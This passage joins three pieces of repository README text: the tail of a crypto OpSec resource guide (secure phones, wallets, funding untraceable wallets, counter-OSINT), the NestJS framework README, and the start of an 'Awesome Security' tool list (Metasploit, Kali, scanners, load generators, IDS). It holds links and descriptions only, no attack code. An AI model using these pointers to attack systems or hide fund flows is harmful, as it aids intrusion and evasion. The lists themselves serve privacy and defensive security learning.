[How Does a Drive-By NFC Hack Work?](https://www.makeuseof.com/tag/drive-nfc-hack-work) - [Key Card Entry System Security: What is the Difference Between NFC and RFID?](https://www.getgenea.com/blog/key-card-entry-system-security-what-is-the-difference-between-nfc-and-rfid) - [Your hotel card may be copied through this item](https://www.theverge.com/23433594/flipper-zero-hacking-gadget-wireless-pentesting-open-source-antenna) **Check out:** - [logic bomb](https://github.com/starius/logic-bomb/blob/master/logic_bomb.c) - [Duress - Emergency Password](https://play.google.com/store/apps/details?id=me.lucky.duress) - [Contracts for a wallet that is recoverable via backup keys](https://github.com/Zoltu/recoverable-wallet) - [Better privacy, without special software](https://mprimi.github.io/portable-secret) - [digi cloak](https://github.com/kaushalmeena/digi-cloak) - [hackna](https://9p4.github.io/hackna) - [html vault](https://github.com/dividuum/html-vault) - [Great PC for work](https://libreboot.org/docs/hardware) - [Another great PC for work](https://shop.nitrokey.com/shop/product/nitropad-x230-67) - [More Info](https://news.ycombinator.com/item?id=34083366) - [Trail of Bits Minimum Viable Plans (MVPs) for Security](https://docs.google.com/document/d/1-_0Wlwch_vtkPM4F-SdEXLjQYaYT7KoPlU2rjt7tkLQ/edit) - [OpSec101](https://opsec101.org) --- ### Problem 22 If you use smartphone be extremely aware! Your choice of smartphone can indicate how much you respect your privacy in the modern world, when protecting your privacy online is just as important as protecting it offline. Good thing is, these specialized smartphones that came into existence to protect your privacy, will make you sleep in peace at night. - [OpSec Going Smarter: Secure Smartphones](https://officercia.mirror.xyz/0tlSSF2LDTOnnMN41R5Uc1kTpo-G-kXljn8pT0a1YLY) - [Read More](https://joelgsamuel.medium.com/how-to-keep-your-smartphone-safe-from-spying-d7d50fbed817) - [Telegram & Discord Security Best Practices](https://telegra.ph/Telegram--Discord-Security-Best-Practices-01-02) But do they truly live up to their reputations? I believe that in general, three things are necessary: - The ability to physically disconnect the stubs to the camera (like in Purism Librem 5), GPS, microphone, speakers, and so on; - Next, ability to run GrapheneOS or LineageOS; - And third, it's root access, as follows. One thing to keep in mind before we get started is that very few firms produce privacy and security-based smartphones, which means some of these devices are a little dated or use an earlier version of Android. As a result, do not anticipate the newest hardware or software to work with these devices. - Check out: [darknetdiaries: Encrypted Phones](https://darknetdiaries.com/episode/105) - [A nice OpSec feature](https://www.nairaland.com/6258327/xiaomi-phone-allows-me-operate) - [iPhones Vulnerable to Attack Even When Turned Off](https://threatpost.com/iphones-attack-turned-off/179641) - [Malicious profiles – one of the most serious threats to iPhones](https://www.jamf.com/blog/malicious-profiles-come/) - [Why Configuration Profiles Can Be As Dangerous As Malware on iPhones and iPads](https://www.howtogeek.com/176195/why-configuration-profiles-can-be-as-dangerous-as-malware-on-iphones-and-ipads/amp/) Here’s a list of the most secure phones you can use today: - Bittium Tough Mobile 2C - K-iPhone - Solarin From Sirin Labs - Purism Librem 5 - Sirin Labs Finney U1 - [Kyocera phones](https://kyoceramobile.com/available-phones/) - Latest iPhone (watch out [iCloud](https://www.quora.com/What-can-the-FBI-or-police-access-from-an-iCloud-account-Can-they-access-everything) & [known attacks](https://officercia.mirror.xyz/0uiAGM50rkQSvHbptcrVkCkyxsnewpAFIdu3oyga42Y)) or Android - [BlackBerry Device](https://www.blackberry.com/us/en/products/secure-smartphones) - Let's [respect](https://www.itworldcanada.com/slideshow/blackberry-through-the-years) the true [Pioneers](https://arstechnica.com/gadgets/2013/02/a-look-at-blackberrys-devices-through-the-ages/) in this industry! - Google Pixel (4 and beyond) are good privacy friendly options if you reconfigure them to run GrapheneOS! - Buy an old Nexus, run divestos.org or LineageOS or Ubuntu! - [ThinkPhone](https://news.lenovo.com/pressroom/press-releases/thinkphone-by-motorola-unmatched-business-device-experience) **On the opposite:** From a security standpoint, with a standard OS, most processes you start have at least all permissions for everything you are interacting with. Practical example: If you want to post nice pictures, telegram needs access to your pictures. No matter where it runs. If your pc is comprised, your telegram can be used to exfiltrate your photos. In the end, user behavior is what's most important imho. Reckless behavior will lead to compromise sooner rather than later. Deploy a few simple security measures and review them regularly. - [What is Island in Android?](https://island.oasisfeng.com) - [Read more](https://forum.xda-developers.com/t/app-5-0-beta-island-app-freezing-privacy-protection-parallel-accounts.3366295) --- ### Problem 23 Only Interact with DeFi Protocols You Trust - Take your time to read up on some previous concepts we’ve covered such as staking, yield farming, NFT farming, and research any other new terms you may come across before depositing crypto into a DApp that deploys any of these investment strategies. **Wallets Review:** - [walletcompare.xyz](https://walletcompare.xyz) - [walletscrutiny.com](https://walletscrutiny.com) **Awesome Tools:** - [TryEthernal.com](https://TryEthernal.com) - [Defillama.com](https://Defillama.com) - [Rotki](https://github.com/rotki) - [Find wallet](https://ethereum.org/en/wallets/find-wallet) - [Read More](https://github.com/OffcierCia/ultimate-defi-research-base) - [Read More](https://assets.website-files.com/5ffef4c69be53b44bd10b438/6012f54022181b0d0a3a948c_CryptoCurrency%20Security%20Standards%20Checklist.pdf) - [Someone overheard me! Why it's important to think about all attack vectors, even if they seem unlikely to happen?](https://officercia.mirror.xyz/Gc4msiSq4HkKrrsKcL5tDF613iUtX4vWUAb5DYdDPC0) - [On Operational Security in Web3](https://0xrusowsky.substack.com/p/on-operational-security) - [Violent Attack Vectors in Web3: A Detailed Review](https://officercia.mirror.xyz/qfhQ_ocTPKnO5EqMlZ2ixIX7oBIfz5Tznid82EucbYk) - [Do not confuse it with allowance approve scam!](https://mirror.xyz/x-explore.eth/cL3d_CyNujXq8XY7ueP4omNXx_IY1EG5Dz0FD0vJ90M) - [How to protect your assets](https://mirror.xyz/crisgarner.eth/gJjASuCkbXJ1w574ePvJ3kNyWBZQfUyelMvsp4ujZ80) Don’t use Tornado and forget about it, but you can use: - [SideShift](https://sideshift.ai) or [AgoraDesk](https://agoradesk.com) - [How to fund an undoxxed Ethereum wallet off-chain](https://mirror.xyz/xanny.eth/SGxwfVQ75831z5vFaS1LrlatUJEhxBvZ2cyTvAdCD0k) - [changenow.io](https://changenow.io) - [tradeogre](https://tradeogre.com/markets) - ETH-XMR [atomic swap](https://github.com/noot/atomic-swap) - this one released via a bridge! - Maybe also check out: [Aztecnetwork](https://twitter.com/aztecnetwork) but always keep in mind [this dune dashboard!](https://dune.com/jaosef/Aztec-2) Use a reliable RPC provide or run a light client or a full node: - [Spook](https://github.com/EdenBlockVC/spook) - [RPC-proxy](https://github.com/shark0der/rpc-proxy) - [Zmok](https://zmok.io) - [Helios](https://github.com/a16z/helios) Check out this [awesome repo!](https://github.com/Msiusko/web3privacy) --- ### Problem 24 Use trusted services. Using a secure, easy-to-use crypto wallet to interact with DeFi applications is essential to a safe and user-friendly DeFi experience. Interacting with smart contracts can be tricky for first-time users, so using a beginner-friendly crypto wallet with DApp support is a smart way to mitigate risks stemming from accidental errors on the side of the user. Better do **everything** manually! <details> <summary>Expand</summary> <br /> - [The Only Safe Way to Store Crypto](https://officercia.mirror.xyz/p1ieZdxQWH4yHCNOXNPHyT8So1cY0X_wMGKwdmavi7s) - [Read More](https://github.com/OffcierCia/DeFi-Developer-Road-Map) - [Read More](https://blog.eduonix.com/cryptocurrency/cryptocurrency-security-checklist-investors-adopt/) - [How to protect your assets](https://mirror.xyz/crisgarner.eth/gJjASuCkbXJ1w574ePvJ3kNyWBZQfUyelMvsp4ujZ80) - [On Operational Security in Web3](https://0xrusowsky.substack.com/p/on-operational-security) </details> --- ### Problem 25 Be aware of most common attacks. Follow hacker websites, latest security standards, check out what [Nitrokey](https://www.nitrokey.com/) or [YubiKey](https://www.yubico.com) or [Titan](https://cloud.google.com/titan-security-key) do and why. As a conclusion - read what is [OSINT](https://officercia.mirror.xyz/5KSkJOTgMtvgC36v1GqZ987N-_Oj_zwvGatOk0A47Ws) and [counterOSINT](https://github.com/soxoj/counter-osint-guide-en) so possible criminals won't be able to collect needed data. <details> <summary>Expand</summary> <br /> - [Physical Attacks](https://github.com/jlopp/physical-bitcoin-attacks/blob/master/README.md) - [Physical Security Tips](https://twitter.com/rektfencer/status/1636050286564511744?s=20) - [3FA](https://www.techtarget.com/searchsecurity/definition/three-factor-authentication-3FA) - [Counter-OSINT Techniques](https://github.com/CScorza/OSINTAnonymous) </details> Pretend to be someone ordinary. For example, follow the legend that you are just a developer of one of the games for Asian market (there are a lot of them), mimic a "average person" in everything - even in financial transactions/operations. **Think like your possible enemy: forewarned is forearmed.** > Check out this [book & article](https://counterintelligence.info/index.php/2020/03/05/extreme-privacy-michael-bazzell)! - [Read More](https://github.com/jlopp/physical-bitcoin-attacks/blob/master/README.md) - [Read More](https://cryptosec.info/checklist/) # #### **My Articles:** - [OpSec Going Smart](https://officercia.mirror.xyz/fsRT9NC29GzeQAl-zvAMJ9L-hYUYvX1CPUkt97Vuuwo) - [OpSec Going Smarter](https://officercia.mirror.xyz/B9hBom4jGhkV0C-47E4YBz8tBJkb0a7zVwQR0jITIyM) - [OpSec Going Smarter: Secure Smartphones](https://officercia.mirror.xyz/0tlSSF2LDTOnnMN41R5Uc1kTpo-G-kXljn8pT0a1YLY) - [Choosing a Reliable VPN Provider for Life & Work](https://officercia.mirror.xyz/x91hTIDFrAL0lgqICRgWU7fLouuCMgvopQ9ZRvRXCLg) - [Innovative Trio in Smart Contract Security: Monitoring, Prevention, Defense](https://officercia.mirror.xyz/W-SUbkTf18b3RuPL9DykXQmpexWBZxbp4P1xfCfXo4Y) - [The Only Safe Way to Store Crypto](https://officercia.mirror.xyz/p1ieZdxQWH4yHCNOXNPHyT8So1cY0X_wMGKwdmavi7s) - [How Cross-Chain Bridges are Hacked?](https://officercia.mirror.xyz/AFkEUuxid1egNm4XdqYEzWEwosPNbz2CNghlNrq7LZQ) - [What you should do if you think someone has stolen your crypto-assets](https://officercia.mirror.xyz/wSvKI5p91-GYcun1aAyMMjNbpkgKnp7qIxVIqc1sXZk) - [What to do when your Web3 project Discord server is hacked & how security audit may prevent it from happening](https://officercia.mirror.xyz/x4nGX6YwhhmHj8TaQ53kBR5b5M1Ei_Y9_l1Vpext-Hk) - [Violent Attack Vectors in Web3: A Detailed Review](https://officercia.mirror.xyz/qfhQ_ocTPKnO5EqMlZ2ixIX7oBIfz5Tznid82EucbYk) - [What is ARP spoofing and how to protect against it?](https://officercia.mirror.xyz/fYQegsuZkdLPlhW9xopFzwnLmQWjaaWBjnR2qX9UixY) - [An ultimate list of rules any on-chain survivor should follow to stay safe!](https://officercia.mirror.xyz/_nD1Rtxe1PplK-NQzIq9sl-KNtajQG0aKqYsV36RTjA) - [QR Code: An Underestimated Danger](https://officercia.mirror.xyz/aN6giRkUsNd0o0bmjZVeZb2htkO_Ve16gMsARU6RBfM) - [The most significant milestones in the development of communications](https://officercia.mirror.xyz/G4782jMUpA_kkIpwakphbd6djX85cxRGS-pjBipc8Yk) - [Someone overheard me! Why it's important to think about all attack vectors, even if they seem unlikely to happen?](https://officercia.mirror.xyz/Gc4msiSq4HkKrrsKcL5tDF613iUtX4vWUAb5DYdDPC0) - [Laplace's Demon Speaks: Is there a life in blockchain?](https://officercia.mirror.xyz/OWdu4NkAeygp2dh-AXr82gM_fWD95WuFSP3WzMnpddc) - [MacOS + IOS + Crypto + OpSec = ?](https://officercia.mirror.xyz/0uiAGM50rkQSvHbptcrVkCkyxsnewpAFIdu3oyga42Y) - [How to win the war, trick the KGB and protect your crypto-assets from theft by Steganography](https://officercia.mirror.xyz/8ecJG-s_5E6J1t-h8gUNGqV3hbX8If-E5NnrFrOJHUA) - [Master of OpSec Masters: A View Through the Prism of Time](https://officercia.mirror.xyz/4x2-M4R2cSnID1wpsTO4CQNrMQ5JUFouR-rZ_N4xO-Q) - [OpSec in Crypto: Thoughts](https://officercia.mirror.xyz/VCUaozkvMw1CSaNm3VnafrDLX4dwEjDIQo6qSOIbO8o) - [Attacks via a Representative Sample : Myths and Reality](https://officercia.mirror.xyz/WeAilwJ9V4GIVUkYa7WwBwV2II9dYwpdPTp3fNsPFjo) - [How can you become a one-man-army OSINT specialist?](https://officercia.mirror.xyz/5KSkJOTgMtvgC36v1GqZ987N-_Oj_zwvGatOk0A47Ws) - [Key principles of storing cryptocurrency securely](https://officercia.mirror.xyz/GtKNkmRDR_hhCqrnSENjqfPDHHb0W1M2SVeXDp4swCQ) - [On Operational Security in Web3](https://0xrusowsky.substack.com/p/on-operational-security) - [Taming a Wildhorse CEX App](https://officercia.mirror.xyz/scaEkpIpF7pd9Dhsj26F3HguaYnwhDg9TeAGIo76aRY) - [Telegram & Discord Security Best Practices](https://officercia.mirror.xyz/dlf6ZEXq3FLE21ZY2jeJ0cBDyuZu8XIF9DEJAQ07nk8) **Also check out:** - [AnonPlanet](https://anonymousplanet.org/links.html) - [Anon Guide](https://hackmd.io/@0xngmi/B1BXYIWCO) or via [this link](hackmd.io/YKjhguQES_KeKYs-v1YC1w?both) - [anonymousplanet.org](https://anonymousplanet.org) - [My Works](https://officercia.mirror.xyz/Uc1sf64yUCb0uo1DxR_nuif5EmMPs-RAshDyoAGEZZY) - [How to use an ipad as a secure calling and messaging device](https://yawnbox.com/blog/how-to-use-an-ipad-as-a-secure-calling-and-messaging-device) - [Stylometric fingerprinting redux](https://seirdy.one/posts/2022/07/09/stylometric-fingerprinting-redux) - [privacyguides.org](https://privacyguides.org) - [OpSec](www.usenix.org/system/files/1401_08-12_mickens.pdf) - [DeepWeb OpSec](https://telegra.ph/Deepweb-OpSec-Link-08-20) - [privacytools.io](https://www.privacytools.io/) - [Start.me RabbitHole](https://cia.start.me/p/dlaxD0/ciaofficerv2) - [Trail of Bits Minimum Viable Plans (MVPs) for Security](https://docs.google.com/document/d/1-_0Wlwch_vtkPM4F-SdEXLjQYaYT7KoPlU2rjt7tkLQ/edit) - [OpSec101](https://opsec101.org) - [Awesome Security Hardening Guides](https://github.com/decalage2/awesome-security-hardening) - [How to protect your crypto assets](https://mirror.xyz/crisgarner.eth/gJjASuCkbXJ1w574ePvJ3kNyWBZQfUyelMvsp4ujZ80) - [Crypto OpSec](https://twitter.com/jurad0x/status/1454120956516093956) - [Security best practices](https://twitter.com/bobbyong/status/1403881080902471680) - [MyCrypto’s Security Guide For Dummies And Smart People Too](https://medium.com/mycrypto/mycryptos-security-guide-for-dummies-and-smart-people-too-ab178299c82e) - [Check out this awesome Privacy-focused toolkit!](https://techlore.tech/resources) - [The Ten Commandments of crypto security](https://xamanap.medium.com/the-ten-commandments-of-crypto-security-3cd616185d40) - [Privacytests.org](https://privacytests.org) - [All known smart contract-side and user-side attacks and vulnerabilities](https://graph.org/All-known-smart-contract-side-and-user-side-attacks-and-vulnerabilities-in-Web30--DeFi-03-31) - [Privacy.sexy Repo](https://github.com/undergroundwires/privacy.sexy) - [Privacy.sexy Website](https://privacy.sexy) - [Intro to Web3 Security](https://n00bzunit3d.xyz/blog/intro-to-web3-security) - [Privacy and Scaling Explorations](https://mirror.xyz/privacy-scaling-explorations.eth) - [A collection of practical security-focused guides and checklists for smart contract development](https://github.com/nascentxyz/simple-security-toolkit) - [opsecprofessionals.org](https://opsecprofessionals.org) # ### Additional Resources | Watch | |----------------------------------------------| | https://www.youtube.com/watch?v=hxHqE2W8scQy | | https://www.youtube.com/watch?v=0aSQMeoz9ow | | https://www.youtube.com/watch?v=pGcerfVqYyU | | https://www.youtube.com/watch?v=9XaYdCdwiWU | | https://www.youtube.com/watch?v=ixLuRvYlrlw | | Read | |------------------------------------------------------------------------------------------------------------------------------------------| | https://blog.keys.casa/7-ways-to-level-up-your-bitcoin-opsec | | https://medium.com/the-business-of-crypto/fundamentals-of-opsec-in-crypto-7844ba701b1d | | https://www.threatstack.com/blog/five-opsec-best-practices-to-live-by | | https://digitalguardian.com/blog/what-operational-security-five-step-process-best-practices-and-more | | https://www.gocivilairpatrol.com/programs/emergency-services/operations-support/operational-security-opsec | | https://joelgsamuel.medium.com/how-to-keep-your-smartphone-safe-from-spying-d7d50fbed817 | | https://www.cnbc.com/2017/11/02/heres-how-to-protect-your-bitcoin-and-ethereum-from-hacking.html | | https://www.cnbc.com/2021/06/11/tips-to-help-keep-your-crypto-wallet-secure.html | | https://www.ledger.com/academy/security/hack-wifi | | https://datatracker.ietf.org/wg/opsec/documents/ | | https://www.lopp.net/bitcoin-information/security.html | | https://www.reddit.com/r/opsec/ | | https://arxiv.org/abs/2106.10740 | | https://web.mit.edu/smadnick/www/wp/2019-05.pdf | | https://airgapcomputer.com | | https://joelgsamuel.medium.com/how-to-keep-your-smartphone-safe-from-spying-d7d50fbed817 | | https://assets.website-files.com/5ffef4c69be53b44bd10b438/6012f54022181b0d0a3a948c_CryptoCurrency%20Security%20Standards%20Checklist.pdf | | https://blog.eduonix.com/cryptocurrency/cryptocurrency-security-checklist-investors-adopt/ | | https://github.com/jlopp/physical-bitcoin-attacks/blob/master/README.md | | https://cryptosec.info/checklist/ | # Support is **very** important to me, with it I can do what I love - educating DeFi & Crypto users! - [My Blog on Mirror](https://officercia.mirror.xyz/UpFfG7-1E4SDJttnmuQ7v4BMc4KrCXzo80vtx7qV-YY) - [My Blog on Medium](https://officercia.medium.com) The best thing is to support me directly by donating to any address from the list below: [](https://gitcoin.co/grants/3150/defi-developer-roadmap) If you want to support my work, you can also send me a donation to the address: - **[0xB25C5E8fA1E53eEb9bE3421C59F6A66B786ED77A](https://etherscan.io/address/0xB25C5E8fA1E53eEb9bE3421C59F6A66B786ED77A)** — ERC20 & ETH [officercia.eth](https://etherscan.io/enslookup-search?search=officercia.eth) - **[17Ydx9m7vrhnx4XjZPuGPMqrhw3sDviNTU](https://blockchair.com/bitcoin/address/17Ydx9m7vrhnx4XjZPuGPMqrhw3sDviNTU)** or **bc1q75zgp5jurtm96nltt9c9kzjnrt33uylr8uvdds** - BTC - **4AhpUrDtfVSWZMJcRMJkZoPwDSdVG6puYBE3ajQABQo6T533cVvx5vJRc5fX7sktJe67mXu1CcDmr7orn1CrGrqsT3ptfds** - Monero XMR - **LebuhjAPJLnLULAKsMgQEZC5E5q9TdvurJ** - LiteCoin - [Me on GitCoin](https://gitcoin.co/grants/3150/defi-developer-roadmap) - You can also support me by minting one of my [Mirror articles NFTs](https://officercia.mirror.xyz/)! **Much much thanks every single one of you!** ## **Thank you! Stay safe!**

<p align="center"> <a href="http://nestjs.com/" target="blank"><img src="https://nestjs.com/img/logo-small.svg" width="120" alt="Nest Logo" /></a> </p> [circleci-image]: https://img.shields.io/circleci/build/github/nestjs/nest/master?token=abc123def456 [circleci-url]: https://circleci.com/gh/nestjs/nest <p align="center">A progressive <a href="http://nodejs.org" target="_blank">Node.js</a> framework for building efficient and scalable server-side applications.</p> <p align="center"> <a href="https://www.npmjs.com/~nestjscore" target="_blank"><img src="https://img.shields.io/npm/v/@nestjs/core.svg" alt="NPM Version" /></a> <a href="https://www.npmjs.com/~nestjscore" target="_blank"><img src="https://img.shields.io/npm/l/@nestjs/core.svg" alt="Package License" /></a> <a href="https://www.npmjs.com/~nestjscore" target="_blank"><img src="https://img.shields.io/npm/dm/@nestjs/core.svg" alt="NPM Downloads" /></a> <a href="https://circleci.com/gh/nestjs/nest" target="_blank"><img src="https://img.shields.io/circleci/build/github/nestjs/nest/master" alt="CircleCI" /></a> <a href="https://coveralls.io/github/nestjs/nest?branch=master" target="_blank"><img src="https://coveralls.io/repos/github/nestjs/nest/badge.svg?branch=master#9" alt="Coverage" /></a> <a href="https://discord.gg/G7Qnnhy" target="_blank"><img src="https://img.shields.io/badge/discord-online-brightgreen.svg" alt="Discord"/></a> <a href="https://opencollective.com/nest#backer" target="_blank"><img src="https://opencollective.com/nest/backers/badge.svg" alt="Backers on Open Collective" /></a> <a href="https://opencollective.com/nest#sponsor" target="_blank"><img src="https://opencollective.com/nest/sponsors/badge.svg" alt="Sponsors on Open Collective" /></a> <a href="https://paypal.me/kamilmysliwiec" target="_blank"><img src="https://img.shields.io/badge/Donate-PayPal-ff3f59.svg"/></a> <a href="https://opencollective.com/nest#sponsor" target="_blank"><img src="https://img.shields.io/badge/Support%20us-Open%20Collective-41B883.svg" alt="Support us"></a> <a href="https://twitter.com/nestframework" target="_blank"><img src="https://img.shields.io/twitter/follow/nestframework.svg?style=social&label=Follow"></a> </p> <!--[](https://opencollective.com/nest#backer) [](https://opencollective.com/nest#sponsor)--> ## Description Nest is a framework for building efficient, scalable <a href="http://nodejs.org" target="_blank">Node.js</a> server-side applications. It uses modern JavaScript, is built with <a href="http://www.typescriptlang.org" target="_blank">TypeScript</a> (preserves compatibility with pure JavaScript) and combines elements of OOP (Object Oriented Programming), FP (Functional Programming), and FRP (Functional Reactive Programming). <p>Under the hood, Nest makes use of <a href="https://expressjs.com/" target="_blank">Express</a>, but also, provides compatibility with a wide range of other libraries, like e.g. <a href="https://github.com/fastify/fastify" target="_blank">Fastify</a>, allowing for easy use of the myriad third-party plugins which are available.</p> ## Philosophy <p>In recent years, thanks to Node.js, JavaScript has become the “lingua franca” of the web for both front and backend applications, giving rise to awesome projects like <a href="https://angular.io/" target="_blank">Angular</a>, <a href="https://github.com/facebook/react" target="_blank">React</a> and <a href="https://github.com/vuejs/vue" target="_blank">Vue</a> which improve developer productivity and enable the construction of fast, testable, extensible frontend applications. However, on the server-side, while there are a lot of superb libraries, helpers and tools for Node, none of them effectively solve the main problem - the architecture.</p> <p>Nest aims to provide an application architecture out of the box which allows for effortless creation of highly testable, scalable, loosely coupled and easily maintainable applications.</p> ## Getting started * To check out the [guide](https://docs.nestjs.com), visit [docs.nestjs.com](https://docs.nestjs.com). :books: * 要查看中文 [指南](readme_zh.md), 请访问 [docs.nestjs.cn](https://docs.nestjs.cn). :books: ## Consulting With official support, you can get expert help straight from Nest core team. We provide dedicated technical support, migration strategies, advice on best practices (and design decisions), PR reviews, and team augmentation. Read more about [support here](https://enterprise.nestjs.com). ## Support Nest is an MIT-licensed open source project. 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## OG Repo https://github.com/sbilly/awesome-security # Awesome Security [](https://github.com/sindresorhus/awesome) A collection of awesome software, libraries, documents, books, resources and cool stuff about security. Inspired by [awesome-php](https://github.com/ziadoz/awesome-php), [awesome-python](https://github.com/vinta/awesome-python). Thanks to all [contributors](https://github.com/sbilly/awesome-security/graphs/contributors), you're awesome and wouldn't be possible without you! The goal is to build a categorized community-driven collection of very well-known resources. - [Awesome Security](#awesome-security) - [Network](#network) - [Scanning / Pentesting](#scanning--pentesting) - [Monitoring / Logging](#monitoring--logging) - [IDS / IPS / Host IDS / Host IPS](#ids--ips--host-ids--host-ips) - [Honey Pot / Honey Net](#honey-pot--honey-net) - [Full Packet Capture / Forensic](#full-packet-capture--forensic) - [Sniffer](#sniffer) - [Security Information & Event Management](#security-information--event-management) - [VPN](#vpn) - [Fast Packet Processing](#fast-packet-processing) - [Firewall](#firewall) - [Anti-Spam](#anti-spam) - [Docker](#docker-images-for-penetration-testing--security) - [Endpoint](#endpoint) - [Anti-Virus / Anti-Malware](#anti-virus--anti-malware) - [Content Disarm & Reconstruct](#content-disarm--reconstruct) - [Configuration Management](#configuration-management) - [Authentication](#authentication) - [Mobile / Android / iOS](#mobile--android--ios) - [Forensics](#forensics) - [Threat Intelligence](#threat-intelligence) - [Social Engineering](#social-engineering) - [Web](#web) - [Organization](#organization) - [Web Application Firewall](#web-application-firewall) - [Scanning / Pentesting](#scanning--pentesting-1) - [Runtime Application Self-Protection](#runtime-application-self-protection) - [Development](#development) - [Red Team Infrastructure Deployment](#red-team-infrastructure-deployment) - [Exploits & Payloads](#exploits--payloads) - [Usability](#usability) - [Big Data](#big-data) - [DevOps](#devops) - [Terminal](#terminal) - [Operating Systems](#operating-systems) - [Online resources](#online-resources) - [Datastores](#datastores) - [Fraud prevention](#fraud-prevention) - [EBooks](#ebooks) - [Other Awesome Lists](#other-awesome-lists) - [Other Security Awesome Lists](#other-security-awesome-lists) - [Other Common Awesome Lists](#other-common-awesome-lists) - [Contributing](#contributing) ------ ## Network ### Network architecture - [Network-segmentation-cheat-sheet](https://github.com/sergiomarotco/Network-segmentation-cheat-sheet) - This project was created to publish the best practices for segmentation of the corporate network of any company. In general, the schemes in this project are suitable for any company. ### Scanning / Pentesting - [OpenVAS](http://www.openvas.org/) - OpenVAS is a framework of several services and tools offering a comprehensive and powerful vulnerability scanning and vulnerability management solution. - [Metasploit Framework](https://github.com/rapid7/metasploit-framework) - A tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive and related research. - [Kali](https://www.kali.org/) - Kali Linux is a Debian-derived Linux distribution designed for digital forensics and penetration testing. Kali Linux is preinstalled with numerous penetration-testing programs, including nmap (a port scanner), Wireshark (a packet analyzer), John the Ripper (a password cracker), and Aircrack-ng (a software suite for penetration-testing wireless LANs). - [tsurugi](https://tsurugi-linux.org/) - heavily customized Linux distribution that designed to support DFIR investigations, malware analysis and OSINT activities. It is based on Ubuntu 20.04(64-bit with a 5.15.12 custom kernel) - [pig](https://github.com/rafael-santiago/pig) - A Linux packet crafting tool. - [scapy](https://github.com/gpotter2/awesome-scapy) - Scapy: the python-based interactive packet manipulation program & library. - [Pompem](https://github.com/rfunix/Pompem) - Pompem is an open source tool, which is designed to automate the search for exploits in major databases. Developed in Python, has a system of advanced search, thus facilitating the work of pentesters and ethical hackers. In its current version, performs searches in databases: Exploit-db, 1337day, Packetstorm Security... - [Nmap](https://nmap.org) - Nmap is a free and open source utility for network discovery and security auditing. - [Amass](https://github.com/caffix/amass) - Amass performs DNS subdomain enumeration by scraping the largest number of disparate data sources, recursive brute forcing, crawling of web archives, permuting and altering names, reverse DNS sweeping and other techniques. - [Anevicon](https://github.com/rozgo/anevicon) - The most powerful UDP-based load generator, written in Rust. - [Finshir](https://github.com/isgasho/finshir) - A coroutines-driven Low & Slow traffic generator, written in Rust. - [Legion](https://github.com/GoVanguard/legion) - Open source semi-automated discovery and reconnaissance network penetration testing framework. - [Sublist3r](https://github.com/aboul3la/Sublist3r) - Fast subdomains enumeration tool for penetration testers - [RustScan](https://github.com/RustScan/RustScan) - Faster Nmap scanning with Rust. Take a 17 minute Nmap scan down to 19 seconds. - [Boofuzz](https://github.com/jtpereyda/boofuzz) - Fuzzing engine and fuzz testing framework. - [monsoon](https://github.com/RedTeamPentesting/monsoon) - Very flexible and fast interactive HTTP enumeration/fuzzing. - [Netz](https://github.com/spectralops/netz)- Discover internet-wide misconfigurations, using zgrab2 and others. - [Deepfence ThreatMapper](https://github.com/deepfence/ThreatMapper) - Apache v2, powerful runtime vulnerability scanner for kubernetes, virtual machines and serverless. ### Monitoring / Logging - [justniffer](http://justniffer.sourceforge.net/) - Justniffer is a network protocol analyzer that captures network traffic and produces logs in a customized way, can emulate Apache web server log files, track response times and extract all "intercepted" files from the HTTP traffic. - [httpry](http://dumpsterventures.com/jason/httpry/) - httpry is a specialized packet sniffer designed for displaying and logging HTTP traffic. It is not intended to perform analysis itself, but to capture, parse, and log the traffic for later analysis. It can be run in real-time displaying the traffic as it is parsed, or as a daemon process that logs to an output file. It is written to be as lightweight and flexible as possible, so that it can be easily adaptable to different applications. - [ngrep](http://ngrep.sourceforge.net/) - ngrep strives to provide most of GNU grep's common features, applying them to the network layer. ngrep is a pcap-aware tool that will allow you to specify extended regular or hexadecimal expressions to match against data payloads of packets. It currently recognizes IPv4/6, TCP, UDP, ICMPv4/6, IGMP and Raw across Ethernet, PPP, SLIP, FDDI, Token Ring and null interfaces, and understands BPF filter logic in the same fashion as more common packet sniffing tools, such as tcpdump and snoop. - [passivedns](https://github.com/gamelinux/passivedns) - A tool to collect DNS records passively to aid Incident handling, Network Security Monitoring (NSM) and general digital forensics. PassiveDNS sniffs traffic from an interface or reads a pcap-file and outputs the DNS-server answers to a log file. PassiveDNS can cache/aggregate duplicate DNS answers in-memory, limiting the amount of data in the logfile without loosing the essens in the DNS answer. - [sagan](http://sagan.quadrantsec.com/) - Sagan uses a 'Snort like' engine and rules to analyze logs (syslog/event log/snmptrap/netflow/etc). - [Node Security Platform](https://nodesecurity.io/) - Similar feature set to Snyk, but free in most cases, and very cheap for others. - [ntopng](http://www.ntop.org/products/traffic-analysis/ntop/) - Ntopng is a network traffic probe that shows the network usage, similar to what the popular top Unix command does. - [Fibratus](https://github.com/rabbitstack/fibratus) - Fibratus is a tool for exploration and tracing of the Windows kernel. It is able to capture the most of the Windows kernel activity - process/thread creation and termination, file system I/O, registry, network activity, DLL loading/unloading and much more. Fibratus has a very simple CLI which encapsulates the machinery to start the kernel event stream collector, set kernel event filters or run the lightweight Python modules called filaments. - [opensnitch](https://github.com/evilsocket/opensnitch) - OpenSnitch is a GNU/Linux port of the Little Snitch application firewall - [wazuh](https://github.com/wazuh/wazuh) - Wazuh is a free and open source platform used for threat prevention, detection, and response. It is capable of monitoring file system changes, system calls and inventory changes. ### IDS / IPS / Host IDS / Host IPS - [Snort](https://www.snort.org/) - Snort is a free and open source network intrusion prevention system (NIPS) and network intrusion detection system (NIDS)created by Martin Roesch in 1998. Snort is now developed by Sourcefire, of which Roesch is the founder and CTO. In 2009, Snort entered InfoWorld's Open Source Hall of Fame as one of the "greatest [pieces of] open source software of all time". - [Zeek](https://zeek.org/) - Zeek is a powerful network analysis framework that is much different from the typical IDS you may know. - [zeek2es](https://github.com/corelight/zeek2es) - An open source tool to convert Zeek logs to Elastic/OpenSearch. You can also output pure JSON from Zeek's TSV logs! - [OSSEC](https://ossec.github.io/) - Comprehensive Open Source HIDS. Not for the faint of heart. Takes a bit to get your head around how it works. Performs log analysis, file integrity checking, policy monitoring, rootkit detection, real-time alerting and active response. It runs on most operating systems, including Linux, MacOS, Solaris, HP-UX, AIX and Windows. Plenty of reasonable documentation. Sweet spot is medium to large deployments. - [Suricata](http://suricata-ids.org/) - Suricata is a high performance Network IDS, IPS and Network Security Monitoring engine. Open Source and owned by a community run non-profit foundation, the Open Information Security Foundation (OISF). Suricata is developed by the OISF and its supporting vendors. - [Security Onion](http://blog.securityonion.net/) - 